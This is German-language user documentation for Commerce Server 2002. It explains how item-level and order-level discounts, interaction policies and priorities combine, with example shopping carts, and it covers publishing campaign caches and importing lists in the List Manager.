Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Preisnachlasses auf Bestellebene, bei dem auf die Zwischensumme der Bestellung 10 Euro Preisnachlass gewährt werden, wenn der Benutzer zwei Katalogartikel kauft.

Bedingung: Kauf von zwei Paar Dunes-Boots (AW074-04)

Auszeichnung: 10 Euro Preisnachlass auf die Zwischensumme der Bestellung

Interaktionsrichtlinie für Preisnachlässe: Keine

Priorität: 10

Preisnachlass von 10Euro auf die Zwischensumme der Bestellung

Der folgende Warenkorb veranschaulicht einen Preisnachlass von 10 Euro auf die Zwischensumme der Bestellung. Die Preisnachlassbedingung wird erfüllt, weil der Benutzer zwei Paar Dunes-Boots in den Warenkorb gelegt hat. Aus diesem Grund wird auf die Zwischensumme der Bestellung die Preisnachlassauszeichnung von 10 Euro angewendet. Der Betrag der Auszeichnung wird auf den Einzelposten im Warenkorb verteilt. Wenn der Benutzer einen Artikel reklamiert, können die Kosten korrekt und verlustfrei rückerstattet werden, weil der Preisnachlass nicht auf den Gesamtpreis, sondern auf die Einzelposten angewendet wurde.

Benutzerwarenkorb - Zwischensumme der Bestellung - Euro-Preisnachlass

Siehe auch

Erstellen eines Preisnachlasses

Zielgruppenadressierung eines Preisnachlasses und Festlegen der Bedingungen und Auszeichnungen

Preisnachlässe

Preisnachlassbedingungen

Preisnachlassauszeichnungen

Preisnachlassberechtigungsanforderungen


Beispiele für mehrfache Preisnachlässe

Commerce Server 2002 bietet die Möglichkeit, mehrere Preisnachlässe auf einen Artikel bzw. eine Bestellung anzuwenden und die Reihenfolge zu steuern, in der diese Preisnachlässe angewendet werden. Darüber hinaus können Sie Preisnachlässe auf Artikelebene und Preisnachlässe auf Bestellebene in einer einzelnen Bestellung kombinieren.

Artikelebene/Artikelebene: Bei Kauf von A gibt es 50 Prozent Preisnachlass für B und bei Kauf von A gibt es 10 Euro Preisnachlass für C

Artikelebene/Artikelebene: Bei Kauf von X gibt es 50 Prozent Preisnachlass für A und bei Kauf von B gibt es 50 Prozent Preisnachlass für X

Artikelebene/Artikelebene: Bei Kauf von A gibt es 50 Prozent Preisnachlass für X und bei Kauf von X gibt es 50 Prozent Preisnachlass für B

Artikelebene/Artikelebene: Bei Kauf von A gibt es 10 Euro Preisnachlass für X und bei Kauf von B gibt es 20 Euro Preisnachlass für X

Bestellebene/Bestellebene: Bei Kauf von A im Wert von mindestens 100 Euro gibt es 10 Euro Preisnachlass auf die Gesamtsumme und bei Kauf von 10 Posten von A gibt es 10 Prozent Preisnachlass auf die Gesamtsumme

Artikelebene/Bestellebene: Bei Kauf von A gibt es 10 Prozent Preisnachlass für B und bei Kauf von C gibt es 10 Euro Preisnachlass auf die Gesamtsumme

Artikelebene/Artikelebene: Bei Kauf von A gibt es 50 Prozent Preisnachlass für B und bei Kauf von A gibt es 10 Euro Preisnachlass für C

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Preisnachlasses mithilfe der Interaktionsrichtlinie für Preisnachlässe, bei der die Bedingung eines Preisnachlasses als Bedingung für einen anderen Preisnachlass wiederverwendet werden kann. Weitere Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.

Bedingung: Kauf eines Petzl-Klettergurts (QW072-10)

Auszeichnung: 50 Prozent Preisnachlass auf den Klettergurt "El Captain" (AW053-10) und 10 Euro Preisnachlass auf den Klettergurt "Black Diamond Bod" (AW032-32)

Interaktionsrichtlinie für Preisnachlässe: Wiederverwendung dieser Preisnachlassbedingungen als Bedingungen für andere Preisnachlässe zulassen

Priorität: 10

Dialogfeld "Preisnachlassdefinition" - Mehrere Preisnachlässe

Dialogfeld "Preisnachlassdefinition" - Mehrere Preisnachlässe

Der folgende Warenkorb veranschaulicht einen Preisnachlass von 50 Prozent auf den Klettergurt "El Captain" und einen Preisnachlass von 10 Euro auf den Klettergurt "Black Diamond Bod". Die Bedingung der Preisnachlässe wird erfüllt, weil der Benutzer den Klettergurt "Petzl Mercury" in den Warenkorb gelegt hat. Da der Klettergurt "Petzl Mercury" aufgrund der geltenden Interaktionsrichtlinie als Bedingung für einen weiteren Preisnachlass wiederverwendet werden kann, werden der Preisnachlass von 50 Prozent auf den Klettergurt "El Capitan" und der Preisnachlass von 10 Euro auf den Klettergurt "Black Diamond Bod" angewendet.

Warenkorb mit Preisnachlass

Artikelebene/Artikelebene: Bei Kauf von X gibt es 50 Prozent Preisnachlass für A und bei Kauf von B gibt es 50 Prozent Preisnachlass für X

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Preisnachlasses mithilfe der Interaktionsrichtlinie für Preisnachlässe, bei der die Bedingung eines Preisnachlasses als Auszeichnung für einen anderen Preisnachlass wiederverwendet werden kann. Weitere Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.

Bedingung: Kauf einer Damenhose mit 4 Taschen (AW032-01).

Auszeichnung: 50 Prozent Preisnachlass für die Unisex-Wanderhosen (AW055-01).

Interaktionsrichtlinie für Preisnachlässe: Verwendung der Auszeichnungen anderer Preisnachlässe auch für die Bedingungen dieses Preisnachlasses zulassen.

Priorität: 10

Dialogfeld "Preisnachlassdefinition" - Mehrere Preisnachlässe

Bedingung: Kauf einer Herren-Wendehose mit 8 Taschen (AW046-01).

Auszeichnung: 50 Prozent Preisnachlass für die Damenhose mit vier Taschen (AW032-01).

Interaktionsrichtlinie für Preisnachlässe: Keine.

Priorität: 20

Dialogfeld "Preisnachlassdefinition" - Mehrere Preisnachlässe

Der folgende Warenkorb verdeutlicht einen Preisnachlass von 50 Prozent für die Damenhose mit vier Taschen und einen Preisnachlass von 50 Prozent für die Unisex-Wanderhose. Die Bedingungen der Preisnachlässe werden erfüllt, weil der Benutzer die Damenhose mit 4 Taschen und die Herren-Wendehose mit 8 Taschen in den Warenkorb gelegt hat. Da die Damenhose aufgrund der geltenden Interaktionsrichtlinie als Auszeichnung wiederverwendet werden kann, wird der Preisnachlass von 50 Prozent auf die Damenhose und auf die Unisex-Wanderhose angewendet.

Artikelebene/Artikelebene: Bei Kauf von A gibt es 50 Prozent Preisnachlass für X und bei Kauf von X gibt es 50 Prozent Preisnachlass für B

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Preisnachlasses mithilfe der Interaktionsrichtlinie für Preisnachlässe, bei der die Auszeichnung eines Preisnachlasses als Bedingung wiederverwendet werden kann. Weitere Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.

Bedingung: Kauf eines Crystal-Anoraks (AW125-06).

Auszeichnung: 50 Prozent Preisnachlass für den Sahara-Anorak (AW114-06).

Interaktionsrichtlinie für Preisnachlässe: Wiederverwendung dieser Preisnachlassauszeichnungen als Bedingungen für andere Preisnachlässe zulassen.

Priorität: 10

Bedingung: Kauf eines Sahara-Anoraks (AW114-06).

Auszeichnung: 50 Prozent Preisnachlass für den Alpine-Anorak (AW188-06).

Interaktionsrichtlinie für Preisnachlässe: Keine.

Priorität: 20

Der folgende Warenkorb verdeutlicht einen Preisnachlass von 50 Prozent für den Sahara-Anorak und einen Preisnachlass von 50 Prozent für den Alpine-Anorak. Die Bedingungen der Preisnachlässe werden erfüllt, weil der Benutzer den Crystal-Anorak und den Sahara-Anorak in den Warenkorb gelegt hat. Laut Interaktionsrichtlinie darf der Sahara-Anorak als Preisnachlassbedingung wiederverwendet werden, sodass auf den Alpine-Anorak ein Preisnachlass von 50 Prozent angewendet werden kann.

Warenkorb mit Preisnachlass

Artikelebene/Artikelebene: Bei Kauf von A gibt es 10 Euro Preisnachlass für X und bei Kauf von B gibt es 20 Euro Preisnachlass für X

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Preisnachlasses mithilfe der Interaktionsrichtlinie für Preisnachlässe, bei der die Auszeichnung eines Preisnachlasses als Auszeichnung wiederverwendet werden kann. Weitere Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.

Bedingung: Kauf von einem Paar Kletterschuhe des Modells "Morro" (AW084-05).

Auszeichnung: 10 Euro Preisnachlass für ein Paar Kletterschuhe des Modells "Toskana" (AW086-06)

Interaktionsrichtlinie für Preisnachlässe: Verwendung der Auszeichnungen anderer Preisnachlässe auch für die Auszeichnungen dieses Preisnachlasses zulassen.

Priorität: 10

Bedingung: Kauf von einem Paar Kletterschuhe des Modells "Plymouth" (AW125-05).

Auszeichnung: 20 Euro Preisnachlass für ein Paar Kletterschuhe des Modells "Toskana" (AW086-06)

Interaktionsrichtlinie für Preisnachlässe: Keine.

Priorität: 20

Der folgende Warenkorb zeigt einen Preisnachlass von 30 Euro für die Kletterschuhe des Modells "Toskana". Die Bedingungen der Preisnachlässe werden erfüllt, weil der Benutzer die Kletterschuhe des Modells "Morro" und die Kletterschuhe des Modells "Plymouth" in den Warenkorb gelegt hat. Da die Kletterschuhe des Modells "Toskana" laut Interaktionsrichtlinie für Preisnachlässe als Auszeichnung für beide Preisnachlässe verwendet werden dürfen, gibt es für die Kletterschuhe des Modells "Toskana" sowohl die Auszeichnung von 10 Euro als auch die Auszeichnung von 20 Euro (insgesamt also 30 Euro Preisnachlass).

Warenkorb mit Preisnachlass

Bestellebene/Bestellebene: Bei Kauf von A im Wert von mindestens 100 Euro gibt es 10 Euro Preisnachlass auf die Gesamtsumme und bei Kauf von 10 Posten von A gibt es 10 Prozent Preisnachlass auf die Gesamtsumme

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Preisnachlasses auf Bestellebene mithilfe der Interaktionsrichtlinie für Preisnachlässe, bei der die Auszeichnung eines Preisnachlasses als Auszeichnung wiederverwendet werden kann. Weitere Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.

Bedingung: Kauf von Katalogartikeln der Kategorie "Hemden" im Gesamtwert von mindestens 100 Euro.

Auszeichnung: 10 Euro Preisnachlass auf die Zwischensumme der Bestellung.

Interaktionsrichtlinie für Preisnachlässe: Verwendung der Auszeichnungen anderer Preisnachlässe auch für die Auszeichnungen dieses Preisnachlasses zulassen.

Priorität: 10

Bedingung: Kauf von 10 Button-Down-Herrenhemden.

Auszeichnung: 10 Prozent Preisnachlass auf die Zwischensumme der Bestellung.

Interaktionsrichtlinie für Preisnachlässe: Keine.

Priorität: 20

Der folgende Warenkorb veranschaulicht einen Preisnachlass von 10 Euro auf die Zwischensumme der Bestellung und 10 Prozent Preisnachlass auf die Zwischensumme. Die Bedingungen des Preisnachlasses werden erfüllt, weil der Benutzer drei Hemden im Gesamtwert von über 100 Euro und 10 Button-Down-Herrenhemden in den Warenkorb gelegt hat. Da die Auszeichnung für die Zwischensumme der Bestellung laut der Interaktionsrichtlinie für Preisnachlässe als Auszeichnung wiederverwendet werden darf, werden sowohl der Preisnachlass von 10 Euro als auch der Preisnachlass von 10 Prozent auf die Zwischensumme der Bestellung angewendet. Der Wert des Preisnachlasses auf die Zwischensumme der Bestellung wird auf die beiden Einzelposten im Warenkorb verteilt.

Artikelebene/Bestellebene: Bei Kauf von A gibt es 10 Prozent Preisnachlass für B und bei Kauf von C gibt es 10 Euro Preisnachlass auf die Gesamtsumme

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Preisnachlasses, der einen Preisnachlass auf Artikelebene und einen Preisnachlass auf Bestellebene umfasst.

Bedingung: Kauf eines Schlafsacks "Polar Star" (AW310-12).

Auszeichnung: 10 Prozent Preisnachlass für den Schlafsack "North Face Sunspot" (AW390-12).

Interaktionsrichtlinie für Preisnachlässe: Keine.

Priorität: 10

Bedingung: Kauf eines Schlafsacks "Big Sur" (AW200-12).

Auszeichnung: 10 Euro Preisnachlass auf die Zwischensumme der Bestellung.

Interaktionsrichtlinie für Preisnachlässe: Keine.

Priorität: 20

Der folgende Warenkorb verdeutlicht einen Preisnachlass von 10 Prozent für den Schlafsack "North Face Sunspot" und 10 Prozent Preisnachlass auf die Zwischensumme der Bestellung. Die Bedingungen der Preisnachlässe werden erfüllt, weil der Benutzer den Schlafsack "Polar Star" und den Schlafsack "Big Sur" in den Warenkorb gelegt hat. Aus diesem Grund werden die Auszeichnung von 10 Prozent auf den Schlafsack "North Face Sunspot" und die Auszeichnung von 10 Euro auf die Zwischensumme der Bestellung angewendet. Der Wert des Preisnachlasses auf die Zwischensumme der Bestellung wird auf die drei Einzelposten im Warenkorb verteilt.

Siehe auch

Erstellen eines Preisnachlasses

Zielgruppenadressierung eines Preisnachlasses und Festlegen der Bedingungen und Auszeichnungen

Preisnachlässe

Preisnachlassbedingungen

Preisnachlassauszeichnungen

Preisnachlassberechtigungsanforderungen


Beispiele für komplexe Preisnachlässe

In Commerce Server 2002 können mehrere Preisnachlässe auf einen Artikel bzw. eine Bestellung angewendet werden. Innerhalb einer Bestellung ist es ferner möglich, Preisnachlässe auf Artikelebene und Preisnachlässe auf Bestellebene miteinander zu kombinieren. Die folgenden Beispiele zeigen den Bildschirm Preisnachlassdefinition und den Benutzerwarenkorb mit mehrfacher Anwendung von Preisnachlässen sowohl auf Artikelebene als auch auf Bestellebene an.

Bestellebene/Artikelebene: Bei Kauf von C gibt es 10 Euro Preisnachlass auf die Gesamtsumme und 10 Prozent Preisnachlass auf A

Bestellebene/Artikelebene: Bei Kauf von C gibt es 10 Euro Preisnachlass auf die Gesamtsumme und bei Kauf eines beliebigen Artikels gibt es 10 Prozent Preisnachlass auf B

Bestellebene: Bei Kauf von 2 Posten von A gibt es 1 Posten von A kostenlos

Artikelebene: Bei Kauf von 2 Posten von A gibt es 10 Prozent Preisnachlass

Bestellebene/Artikelebene: Bei Kauf von C gibt es 10 Euro Preisnachlass auf die Gesamtsumme und 10 Prozent Preisnachlass auf A

Der folgende Bildschirm Preisnachlassdefinition veranschaulicht einen Preisnachlass, der einen Preisnachlass auf Bestellebene und einen Preisnachlass auf Artikelebene umfasst.

Bedingung: Kauf eines Schlafsacks "Big Sur" (AW200-12).

Auszeichnung: 10 Euro Preisnachlass auf die Zwischensumme der Bestellung.

Interaktionsrichtlinie für Preisnachlässe: Keine.

Priorität: 20

Bedingung: Kauf eines beliebigen Produkts

Auszeichnung: 10,00 Euro Preisnachlass für das Kochset "Scoutpride"

Interaktionsrichtlinie für Preisnachlässe: Keine

Priorität: 10

Der folgende Warenkorb veranschaulicht einen Preisnachlass von 10 Prozent auf das Kochset "Scoutpride". Die Preisnachlassbedingungen werden erfüllt, weil der Benutzer den Schlafsack "Big Sur" in den Warenkorb gelegt hat. Die Auszeichnung von 10 Prozent Preisnachlass werden auf das Kochset "Scoutpride" angewendet. Die Priorität für den Preisnachlass auf das Kochset "Scoutpride" ist höher (10) als für den Preisnachlass von 10 Euro auf die Zwischensumme der Bestellung (20). Daher wird die Auszeichnung nicht auf die Zwischensumme der Bestellung angewendet.

Bestellebene/Artikelebene: Bei Kauf von C gibt es 10 Euro Preisnachlass auf die Gesamtsumme und bei Kauf eines beliebigen Artikels gibt es 10 Prozent Preisnachlass auf B

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Preisnachlasses, der einen Preisnachlass auf Bestellebene und einen Preisnachlass auf Artikelebene umfasst.

Bedingung: Kauf des Schlafsacks "Big Sur" (AW200-12).

Auszeichnung: 10 Euro Preisnachlass auf die Zwischensumme der Bestellung.

Interaktionsrichtlinie für Preisnachlässe: Keine.

Priorität: 20

Bedingung: Kauf eines beliebigen Artikels

Auszeichnung: 10 Prozent Preisnachlass für den Kocher "Wolfgang" (AW140-14)

Interaktionsrichtlinie für Preisnachlässe: Keine.

Priorität: 10

Der folgende Warenkorb veranschaulicht einen Preisnachlass von 10 Prozent auf das Kochset "Scoutpride" und einen Preisnachlass von 10 Prozent auf die Zwischensumme der Bestellung. Wenn der Benutzer das Kochset "Scoutpride" in den Warenkorb gelegt hat, wird die Auszeichnung von 10 Prozent angewendet. Da aufgrund der Kaufbedingung für einen beliebigen Artikel als Bedingung für einen Preisnachlass keine Artikel im Warenkorb vorhanden sein müssen, wurde der Schlafsack "Big Sur" nicht als Bedingung für das Kochset, sondern folglich als Bedingung für die Anwendung des Preisnachlasses von 10 Euro auf die Zwischensumme der Bestellung verwendet.

Bestellebene: Bei Kauf von 2 Posten von A gibt es 1 Posten von A kostenlos

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht die Erstellung eines Preisnachlasses, der dem Benutzer einen kostenlosen Katalogartikel gewährt, wenn er zwei Posten dieses Artikels kauft. Dieses Preisnachlassbeispiel verwendet die getrennte Preisnachlasseigenschaft, die festlegt, ob die Bedingungen des Preisnachlasses als Auszeichnung für den Preisnachlass wiederverwendet werden können. Informationen zu getrennten Preisnachlässen finden Sie unter Getrennte Preisnachlässe.

Bedingung: Kauf von zwei Zelten des Typs "Aptos" (AW335-11)

Auszeichnung: Ein Posten des Zelts "Aptos" kostenlos

Getrennter Preisnachlass: Angebot auf 'Produkt abrufen' und 'Produkt kaufen' anwenden.

Interaktionsrichtlinie für Preisnachlässe: Keine.

Priorität: 10

Der folgende Warenkorb veranschaulicht, wie der Benutzer, nachdem er zwei Zelte vom Typ "Aptos" in den Warenkorb gelegt hat, kostenlos ein drittes Zelt "Aptos" erhält. Die getrennte Preisnachlasseigenschaft Angebot auf 'Produkt abrufen' und 'Produkt kaufen' anwenden ermöglicht die Wiederverwendung der Bedingungen des Preisnachlasses als Auszeichnung für den Preisnachlass. In diesem Szenario wurden das erste Zelt und das zweite Zelt getrennt als Bedingung verwendet, woraus sich ein Preisnachlass von 100 Prozent ergibt. Informationen zu getrennten Preisnachlässen finden Sie unter Getrennte Preisnachlässe.

Artikelebene: Bei Kauf von 2 Posten von A gibt es 10 Prozent Preisnachlass

Der folgende Bildschirm Preisnachlassdefinition zeigt, dass die gewünschten Warenkorbergebnisse nur erzielt werden, wenn Sie die getrennte Preisnachlasseigenschaft verwenden, mit der die Bedingungen des Preisnachlasses als Auszeichnung wiederverwendet werden können (Angebot auf "Produkt abrufen" und "Produkt kaufen" anwenden). Informationen zu getrennten Preisnachlässen finden Sie unter Getrennte Preisnachlässe.

Bedingung: Kauf von zwei Zelten des Typs "Starlight" (AW425-11)

Auszeichnung: 10 Prozent Preisnachlass auf ein Starlight-Zelt

Getrennter Preisnachlass: Angebot nur auf 'Produkt abrufen' anwenden

Interaktionsrichtlinie für Preisnachlässe: Keine.

Priorität: 10

Der folgende Warenkorb verdeutlicht, dass für das zweite Starlight-Zelt im Warenkorb kein Preisnachlass gewährt wird. Da die getrennte Preisnachlasseigenschaft Angebot auf 'Produkt abrufen' und 'Produkt kaufen' anwenden nicht ausgewählt ist, können die Bedingungen des Preisnachlasses nicht als Auszeichnung wiederverwendet werden. In diesem Szenario wurden die ersten beiden Zelte als eine Bedingung verwendet, stellen jedoch keine Berechtigung auf die Auszeichnung dar. Informationen zu getrennten Preisnachlässen finden Sie unter Getrennte Preisnachlässe.

Der folgende Warenkorb enthält drei Zelte vom Typ "Starlight". Auf das dritte Zelt im Warenkorb wurde ein Preisnachlass von 10 Prozent gewährt. In diesem Szenario werden die ersten beiden Zelte als eine Bedingung verwendet. Auf das dritte Zelt, das keine Bedingung darstellt, wird ein Preisnachlass von 10 Prozent gewährt.

Der folgende Bildschirm Preisnachlassdefinition zeigt, dass die gewünschten Warenkorbergebnisse erzielt werden, wenn Sie die getrennte Preisnachlasseigenschaft verwenden, mit der die Bedingungen des Preisnachlasses als Auszeichnung (Angebot auf "Produkt abrufen" und "Produkt kaufen" anwenden) für den oberen Preisnachlass auf Artikelebene (Artikelebene: Bei Kauf von 2 Posten von A gibt es 10 Prozent Preisnachlass) wiederverwendet werden können.

Bedingung: Kauf von zwei Zelten des Typs "Starlight" (AW425-11)

Auszeichnung: 10 Prozent Preisnachlass auf ein Starlight-Zelt

Getrennter Preisnachlass: Angebot auf 'Produkt abrufen' und 'Produkt kaufen' anwenden

Interaktionsrichtlinie für Preisnachlässe: Keine

Priorität: 10

Der folgende Warenkorb zeigt einen Preisnachlass von 10 Prozent auf das zweite Starlight-Zelt im Warenkorb. Die getrennte Preisnachlasseigenschaft Angebot auf 'Produkt abrufen' und 'Produkt kaufen' anwenden ermöglicht die Wiederverwendung der Bedingungen des Preisnachlasses als Auszeichnung für den Preisnachlass. Das erste und zweite Zelt wurden in diesem Szenario als Bedingung verwendet; der 10-prozentige Preisnachlass wurde auf das zweite Zelt angewendet. Informationen zu getrennten Preisnachlässen finden Sie unter Getrennte Preisnachlässe.

Siehe auch

Erstellen eines Preisnachlasses

Zielgruppenadressierung eines Preisnachlasses und Festlegen der Bedingungen und Auszeichnungen

Preisnachlässe

Preisnachlassbedingungen

Preisnachlassauszeichnungen

Preisnachlassberechtigungsanforderungen


Anwendungsrichtlinien für Preisnachlässe

Kampagnenmanager können unterschiedliche Preisnachlässe, z. B. auf Artikel- oder Bestellebene, Preisnachlässe auf Frachtkosten, erstellen und anbieten, die miteinander kombiniert werden können. So können auf einen Warenkorb mehrere Angebote auf Artikel- und Bestellebene zutreffen, für die bestimmte Anwendungsrichtlinien eingerichtet wurden.

Commerce Server verwendet in Fällen, in denen die Reihenfolge der Anwendung von Preisnachlässen nicht durch Interaktionsrichtlinien und Prioritäten bestimmt werden kann, folgende Richtlinien:

Anwendungsrichtlinien für Bedingungen

  • Wenn keine getrennten Preisnachlässe definiert sind, weist Commerce Server Artikeln mit Auszeichnungsberechtigung Bedingungen zu.
  • Artikel, die nicht mehr als Auszeichnungen verwendet werden können, werden von Commerce Server verbraucht, sofern dies nicht gegen die vorherige Richtlinie verstößt.
  • Wenn getrennte Preisnachlässe definiert sind, verhindert Commerce Server, dass als Auszeichnungen ausgewiesene Artikel auch als Bedingungen ausgewiesen werden.

Anwendungsrichtlinien für Auszeichnungen

  • Commerce Server erfüllt die vom Kampagnen-Manager erstellten Interaktionsrichtlinien für Preisnachlässe.
  • Wenn mehrere Artikel die gleiche Berechtigung auf eine Auszeichnung haben, wählt Commerce Server, zum Vorteil des Händlers, den Artikel aus, auf den der höchste Preisnachlass gewährt wurde.

Siehe auch

Preisnachlässe

Preisnachlasspriorität

Preisnachlassbedingungen

Preisnachlassauszeichnungen

Mehrfache Preisnachlässe

Beispiele für mehrfache Preisnachlässe

Getrennte Preisnachlässe


Veröffentlichen von Kampagnenänderungen in der Website

Mithilfe des Moduls "Kampagnen veröffentlichen" können Sie eine Site aktualisieren, sobald Sie neue Informationen zu Ihrer Website hinzugefügt haben. Bei den meisten E-Commerce-Geschäften werden diese Änderungen zunächst in einer Testsite vorgenommen und erst später zu vereinbarten Zeiten auch in der Produktionssite durchgeführt. Wenden Sie sich an Ihren Systemadministrator, um weitere Informationen über das "Wann" und "Wie" der Änderungen in der Produktionssite zu erfahren.

Das Modul "Kampagnen veröffentlichen" enthält einen Suchmechanismus, mit dem Sie Sites auf Ihren Webservern nach dem Typ des Kampagnenartikels suchen können. Sie können die Sites und die in ihnen enthaltenen Kampagnencaches anzeigen. Wenn Sie den Kampagnencache einer Site nicht veröffentlichen möchten, können Sie ihn aus der Liste der Suchergebnisse löschen.

Hinweis

  • Wenn Ihre Webserver oder Sites in der Ergebnisliste nicht angezeigt werden, hat möglicherweise noch kein Sitebenutzer eine Seite besucht, die das Kampagnensystem verwendet. Das Kampagnensystem registriert jeden Webserver und jede Site, sobald zum ersten Mal Kampagnendaten aufgerufen werden. Die Tabelle "virtual_directory" in der Kampagnendatenbank wird aktualisiert, sobald der erste Benutzer die Cachedaten abfragt. Wenn die Tabelle aktualisiert ist, wird der Kampagnencache im Modul "Kampagne veröffentlichen" angezeigt.

So suchen Sie nach Kampagnencaches

So löschen Sie einen Kampagnencache

So veröffentlichen Sie einen Kampagnenartikel

So suchen Sie nach Kampagnencaches

  1. Klicken Sie im Menü Kampagnen auf Kampagnen veröffentlichen.
  2. Klicken Sie im Bildschirm Kampagnen veröffentlichen auf der Symbolleiste auf Suchen.
  3. Wählen Sie im Suchbereich im Feld Suchen nach den entsprechenden Kampagnencachetyp in der Dropdownliste aus, und klicken Sie dann auf Suchen.

Daraufhin werden in der Liste Produktionsartikel die Sites angezeigt, in denen Caches des in den Suchkriterien angegebenen Typs enthalten sind.

So löschen Sie einen Kampagnencache

  1. Klicken Sie im Menü Kampagnen auf Kampagnen veröffentlichen.
  2. Klicken Sie im Bildschirm Kampagnen veröffentlichen auf der Symbolleiste auf Suchen.
  3. Wählen Sie im Suchbereich im Feld Suchen nach den entsprechenden Kampagnencache in der Dropdownliste aus, und klicken Sie dann auf Suchen.

    Daraufhin werden in der Liste Produktionsartikel die Sites angezeigt, in denen Caches des in den Suchkriterien angegebenen Typs enthalten sind.

  4. Wählen Sie die zu löschende Site und den dazugehörigen Kampagnencache, und klicken Sie dann auf der Symbolleiste auf Löschen.
  5. Klicken Sie im Dialogfeld Löschen? auf OK, um den Kampagnencache für die ausgewählte Site zu löschen.

Daraufhin wird der Kampagnencache für die ausgewählte Site aus der Liste Produktionsartikel gelöscht.

So veröffentlichen Sie einen Kampagnenartikel

  1. Klicken Sie im Menü Kampagnen auf Kampagnen veröffentlichen.
  2. Wählen Sie im Bildschirm Kampagnen veröffentlichen den Kampagnenartikel aus, den Sie veröffentlichen möchten. Klicken Sie anschließend auf der Symbolleiste auf Veröffentlichen.

Der Kampagnenartikel wird zur Produktion gesendet. Die Site wird aktualisiert, und der neue Kampagnenartikel wird veröffentlicht.

Hinweis

  • Wenn Sie nicht über die entsprechenden Berechtigungen verfügen oder Probleme mit der Datenbankverbindung auftreten, werden die neuen Kampagnenartikel bei der Aktualisierung der Site nicht übernommen. Darüber hinaus ist die Veröffentlichung einer neuen Kampagne nur möglich, wenn im Stammverzeichnis der Site auf jedem Webserver die ASP-Seite BDRefresh.asp vorhanden ist. Wenn Sie Ihre Site nicht aktualisieren können, wenden Sie sich an Ihren Systemadministrator.

Siehe auch

Erstellen einer Anzeige

Erstellen eines Preisnachlasses


Verwalten von Listen mit Benutzereinträgen

Das Listen-Manager-Modul dient der Erstellung und Verwaltung von Listen. Es gibt zwei Arten von Listen: generische Listen und versendbare Listen. Generische Listen werden in den Listen-Manager aus dem Berichtsmodul, oder SQL Server-Tabellen importiert. Versendbare Listen sind eine Unterkategorie von generischen Listen. Sie enthalten eine Spalte mit der Bezeichnung "rcp_email", in der E-Mail-Adressen aufgelistet sind, sowie möglicherweise weitere Spalten aus einer Adressenliste. Informationen zu Adressenlisten finden Sie unter Adressenlisten.

Adressenlisten werden in Direct Mailer verwendet, um Nachrichten zu erstellen und an ausgewählte Empfänger in der Liste zu übermitteln. Enthält die generische Liste keine E-Mail-Adressen, wird die Liste als Benutzerliste importiert, wenn sie den Anforderungen für Benutzerlisten entspricht. Weitere Informationen zu Anforderungen von Benutzerlisten finden Sie unter Benutzerlisten.

Listen können im Listen-Manager durch Importieren von Listen aus anderen Anwendungen, wie z. B. Microsoft SQL Server (zum Erstellen einer SQL-Tabelle) und Editor (zum Erstellen einer ASCII-Textdatei), zusammengestellt werden.

Nach dem Import in den Listen-Manager können die Listen zur Ausführung von Direktsendungsaufträgen und erfolgreichen Zielgruppenadressierung von Benutzern verwendet werden.

Sie können einzelne Kunden auf Anforderung entweder auf der Kampagnenebene oder auf der Siteebene in die Abonnementkündigungsliste aufnehmen. Empfänger, die wünschen, im Rahmen eines bestimmten Kampagnenartikels keine Direktsendungsnachrichten zu erhalten, können in eine Abonnementkündigungsliste auf Kampagnenebene aufgenommen werden. Die Abonnementkündigungsliste auf Kampagnenebene heißt Opt Out Kampagnenartikel-ID. Benutzer können auf Anforderung einer Abonnementkündigungsliste auf Siteebene hinzugefügt werden, wenn Sie wünschen, überhaupt keine Direktsendungsnachrichten von Ihrer Site zu erhalten. Im Bildschirm Listen-Manager wird die Abonnementkündigungsliste auf Siteebene unter dem Namen Opt Out aufgeführt. Weitere Informationen zu Abonnementkündigungslisten finden Sie unter Abonnementkündigungslisten.

Sie können auch Listen aus dem Listen-Manager in eine Datei oder eine SQL Server-Datenbank exportieren, Listen hinzufügen oder entfernen, Listen extrahieren und löschen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Importieren und Exportieren von Listen
  • Anzeigen von exportierten Listen
  • Hinzufügen und Entfernen von Listen
  • Umbenennen von Listen
  • Kopieren von Adressenlisten
  • Extrahieren von Adressenlisten
  • Löschen von Listen


Importieren und Exportieren von Listen

Listen können im Listen-Manager durch Importieren von Listen aus anderen Anwendungen, wie z. B. Microsoft SQL Server (zum Erstellen einer SQL-Tabelle) und Editor (zum Erstellen einer ASCII-Textdatei), zusammengestellt werden. Der Listen-Manager benötigt Dateien für ein spezielles Adressenlistenformat. Informationen über das Format einer Adressenliste finden Sie unter Erstellen einer Adressenliste.

Sie können auch Listen aus dem Listen-Manager in eine Datei oder eine SQL Server-Datenbanktabelle exportieren und anschließend die exportierten Listen nach bestimmten Elementen durchsuchen und diese anzeigen.

So importieren Sie eine Liste

So exportieren Sie eine Liste

So importieren Sie eine Liste

  1. Klicken Sie im Menü Kampagnen auf Listen-Manager.
  2. Klicken Sie im Bildschirm Listen-Manager auf der Symbolleiste auf Importieren.
  3. Wählen Sie die Datenquelle, aus der die Liste erstellt wurde.

    Folgende Optionen sind verfügbar: Datei und SQL-Tabelle.

    • Wählen Sie die Option Datei, wenn die Liste in einer Anwendung wie Editor erstellt wurde und es sich folglich um eine nichtformatierte Datei handelt.
    • Wählen Sie SQL-Tabelle, wenn die Liste in einer SQL-Tabelle erstellt wurde.
  4. Führen Sie im Dialogfeld Liste importieren folgende Schritte aus:
    Funktion | Aktion
    Listentyp
    • Wählen Sie die Option Statisch, um eine statische Liste zu importieren.
    • Wählen Sie die Option Dynamisch, um eine dynamische Liste zu importieren.
